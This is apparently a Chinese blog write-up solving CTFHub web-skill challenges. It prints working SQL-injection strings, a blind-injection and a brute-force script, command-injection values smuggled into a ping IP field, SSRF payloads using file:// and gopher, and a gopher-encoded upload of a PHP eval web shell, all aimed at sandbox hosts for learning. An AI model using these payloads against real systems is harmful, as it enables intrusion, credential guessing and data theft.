[ctf学习]ctfhub技能树-web

web前置

HTTP协议

请求方式

背景知识
HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。
方法
1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

题目
用burp修改请求方式为CTFHUB
获得flag
在这里插入图片描述

302跳转

使用burp获得flag
ctfhub{688948eb9f3d9955c48d04fb}

Cookie

admin修改为1
ctfhub{a4c03521d62d2447621e48ea}

基础认证

在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。

burp暴破
对用户名和密码进行了base64加密
规则里选择增加前缀和base64加密

在这里插入图片描述
flag在状态为200的里面
在这里插入图片描述

响应包源代码

查看源码获得flag
在这里插入图片描述

信息泄露

目录遍历

打开burp-spider this host
在这里插入图片描述
在这里插入图片描述

PHPINFO

在这里插入图片描述

备份文件下载

网站源码

www.zip 里面没有找到flag但是告诉我们有个flag_22975839.txt
文件,访问获得flag

http://challenge-0f51685a3afc80f1.sandbox.ctfhub.com:10800/flag_22975839.txt

bak文件

扫描得到:

http://challenge-bd93da6e6234eb5c.sandbox.ctfhub.com:10800/index.php.bak

vim缓存

扫描得到
http://challenge-017184f19278ca14.sandbox.ctfhub.com:10800/.index.php.swp

.DS_Store

.ds_store里有
$ f 0 2 e c d 3 f 3 1 8 a 9 4 1 4 3 a 9 1 5 a 7 2 5 9 0 1 2 d 1 b . t x tnoteustr
f l a g h e r e !
访问/f02ecd3f318a94143a915a7259012d1b.txt 获得flag

Git泄露(未完成)

Log

用Git_Extract-master下载获得flag

Stash

git clone https://github.com/BugScanTeam/GitHack
然后进入文件夹
需要使用python2运行
python2 GitHack.py http://xxx/.git
git stash会把所有未提交的修改(包括暂存的和非暂存的)都保存起来,用于后续恢复当前工作目录。
可以使用git stash list命令查看现有stash,可以通过git stash pop命令恢复之前缓存的工作目录。
在这里插入图片描述
新生成的txt里有flag或者
git stash show -p可以查看特定stash的全部diff
在这里插入图片描述

Index

使用githack下载后
git show 看到flag
在这里插入图片描述

看网上别人的wp是这么做的
git log 显示提交日志信息,输入git diff +(commit后面的内容)

在这里插入图片描述

SVN泄露

下载工具

git clone https://github.com/kost/dvcs-ripper

进行简单配置相关要求的组件

sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

2)恢复.svn
进入工具目录/dvcs-ripper,执行下面命令开始恢复
./rip-svn.pl http://challenge-78f4515413350eaa.sandbox.ctfhub.com:10800
3)进入.svn目录,查找flag

密码口令

弱口令

用户名为admin对密码进行暴破
在这里插入图片描述
python
附上我写的脚本,实用性不强,不如burp快

import requests
dic=r'1.txt'
url='http://challenge-e0c68f5c5362298c.sandbox.ctfhub.com:10800/'
f=open(dic,'r')
l=f.readlines()
for i in l:
	data={
	'name':'admin',
	'password':i[:-1],
	'referer':''
	}

	r=requests.post(url,data=data)
	if 'ctfhub{' in r.text:
		print(r.text)
		break

f.close()

这里i不包括最后一个字符

默认口令

账号:eyougw 密码:admin@(eyou)

SQL注入

整数型注入

我一般判断是否为整形,喜欢用2-1 看回显
在这里插入图片描述
最后payload:
?id=-1 union select 1,(select group_concat(flag) from flag)

字符型注入

?id=-1’ union select 1,(select group_concat(flag) from flag)%23

报错注入

1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e))
?id=1 and extractvalue(1,concat(0x7e,(mid((select group_concat(flag) from flag),15,25)),0x7e))

布尔盲注

布尔盲注的脚本平时写得多,这里懒得写了
直接用sqlmap
在这里插入图片描述
在这里插入图片描述
……结果发现sqlmap 花了15分钟!!!

时间盲注

还是脚本快,用脚本做完题,sqlmap才出来ct两个字母
sqlmap语句参考上一题
在这里插入图片描述
附上脚本:

import requests
import time
url = "http://challenge-97919233c33370a8.sandbox.ctfhub.com:10800/"
flag = ''
for i in range(1,100):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        data = "?id=1 and if(ascii(substr((select group_concat(flag) from flag),%d,1))>%d,sleep(0.2),1)" % (i, mid)
        start_time=time.time()
        r = requests.get(url=url+data)
        if time.time() - start_time >0.2:
            low = mid + 1
        else:
            high = mid
    if high<33:
        break

    flag += chr(low)
    print(flag)

MySQL结构

见上面题目 略

Cookie注入

手工注入(最基础的联合注入):
Cookie: id=-1 union select 1,(select group_concat(xrnwtpftud) from aaajrkbzts);
sqlmap:
在这里插入图片描述
保存为post.txt
在这里插入图片描述
这种普通注入还是sqlmap快,再能使用sqlmap的时候尽量使用

UA注入

ua头注入
python sqlmap.py -u http://challenge-7fd72534e86a2341.sandbox.ctfhub.com:10800 --level3 --dbs

Refer注入

sqlmap太慢了 还是手工注入
感觉今天是被sqlmap折腾疯了的一天
referer:id=-1 union select 1,(select group_concat(gzmjkqhiui) from hbjrciejlp)

过滤空格

?id=-1/**/union/**/select/**/1,(select/**/group_concat(wrsnvyazfc)/**/from/**/wwscprtpih)

RCE

eval执行

?cmd=system(‘nl /flag_3122’);

过滤目录分隔符

;cd flag_is_here;nl flag_318352766115537.php

过滤运算符

;nl fl*

综合过滤练习

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

我的做法
1.使用grep -r递归查找内容

?ip=%0agrep%09-r%09ub{%09fla?_is_here

2.使用cd绕过“/”

?ip=%0acd%09fl*%0anl%09fla*

看看网上别人的做法

?ip=127.0.0.1%0Als${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65%22)#
?ip=127.0.0.1%0Aca%27%27t${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65x2Fx66x6Cx61x67x5Fx32x31x37x38x38x33x31x31x36x38x38x36x30x31x2Ex70x68x70%22)#

这里我测试不成功
在这里插入图片描述

SSRF

1分支

内网访问

/?url=http://127.0.0.1/flag.php

伪协议读取文件

背景知识
file:// 协议
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

http/s协议
探测内网主机存活

dict协议
泄露安装软件版本信息,查看端口,操作内网redis服务等

Gopher协议
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

题目payload:

/?url=file:///var/www/html/flag.php

端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
使用burp
在这里插入图片描述
在这里插入图片描述
python:
附上我写的脚本,因为是单线程20多秒的比用burp久

import requests
for i in range(8000,9000):
	url="http://challenge-b884a78d20ef5e16.sandbox.ctfhub.com:10800/?url=127.0.0.1:%d" % i
	res = requests.get(url)
	if "{" in res.text:
		print(res.text)
		break

2分支

POST请求

题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

用file协议获得index.php源码

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php

<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

通过http协议获得

<!-- Debug: key=9a687c45eceac60d1ebbee53afa603f3-->

传入一个gopher协议的数据包,应构造的gopher数据包:

POST /flag.php HTTP/1.1
Host: challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=9a687c45eceac60d1ebbee53afa603f3

gopher协议传参步骤:
1.构造好gopher协议传入的数据包
2.进行一次url编码,把编码后的结果中,%0A替换成%0d%0A,结尾加上%0d%0A
3.再进行一次URL编码
4.?url=gopher://xxxxxxxxxxxx 传入即可
处理后的payload:

?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D9a687c45eceac60d1ebbee53afa603f3%250D%250A

代码见https://editor.csdn.net/md/?articleId=125596613
ctfhub{8e809679a5d06eefd728ab8b}

上传文件

这次需要上传一个文件到flag.php了.祝你好运
读一下flag.php的代码,这里只需要上传一个文件就可以获得flag

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

?url=127.0.0.1/flag.php 来到这个页面
增加一个按钮

<input type="submit" name="submit">

上传一个文件burp拦截

POST /flag.php HTTP/1.1
Host: challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------109084428027991433181660077227
Content-Length: 350
Origin: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------109084428027991433181660077227
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php eval($_POST[h]);?>
-----------------------------109084428027991433181660077227
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------109084428027991433181660077227--

对他进行处理后
得到payload:

?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A102.0%2529%2520Gecko/20100101%2520Firefox/102.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------109084428027991433181660077227%250D%250AContent-Length%253A%2520350%250D%250AOrigin%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bh%255D%2529%253B%253F%253E%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------109084428027991433181660077227--%250D%250A

获得flag
在这里插入图片描述

bypass

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

试了下不允许有127/172
通过尝试以下可以
?url=0/flag.php
?url=http://2130706433/flag.php(16进制 8进制也可以)
?url=http%3a%2f%2flocalhost%2f/flag.php

302跳转 Bypass

同上一题payload
.用我的理解来说就是,用户访问一个特定的域名,然后这个域名原来是一个正常的ip。但是当域名持有者修改域名对应的ip后,用户再访问这个域名的时候,浏览器以为你一直访问的是一个域名,就会认为很安全。这个是DNS重绑定攻击

这个是我的理解

这里可以让用户访问一个域名,然后这个域名在访问127.0.0.1

这里我使用的是文中所写的那个网站

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

DNS重绑定并没有违反同源策略,相当于是钻了同源策略,同域名同端口访问的空子了。

这里的操作十分的简单

首先先打开那个网站,然后设置为
在这里插入图片描述
在这里插入图片描述

CTFHub是一个CTF(Capture The Flag)竞赛平台,提供了丰富的技能树来帮助学习者提升Web基础认证的能力。下面是CTFHub技能树中关于Web基础认证的内容: 1. HTTP协议:了解HTTP协议的基本原理和常见的请求方法(GET、POST等),了解HTTP请求和响应的结构。 2. URL编码和解码:学习URL编码和解码的原理和常见的编码方式,如URL编码中的%20代表空格。 3. Cookies:了解Cookies的作用和原理,学习如何使用Cookies进行用户认证和状态管理。 4. Session管理:学习Session的概念和原理,了解如何使用Session进行用户认证和状态管理。 5. 基本认证(Basic Authentication):学习基本认证的原理和流程,了解如何使用用户名和密码进行认证。 6. 表单认证(Form-based Authentication):学习表单认证的原理和流程,了解如何使用表单提交用户名和密码进行认证。 7. Token认证:学习Token认证的原理和流程,了解如何使用Token进行用户认证和状态管理。 8. CSRF攻击与防御:学习CSRF(Cross-Site Request Forgery)攻击的原理和常见的防御措施9. XSS攻击与防御:学习XSS(Cross-Site Scripting)攻击的原理和常见的防御措施10. SQL注入攻击与防御:学习SQL注入攻击的原理和常见的防御措施。 以上是CTFHub技能树中关于Web基础认证的内容,通过学习这些知识,你可以提升自己在Web安全领域的认证技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值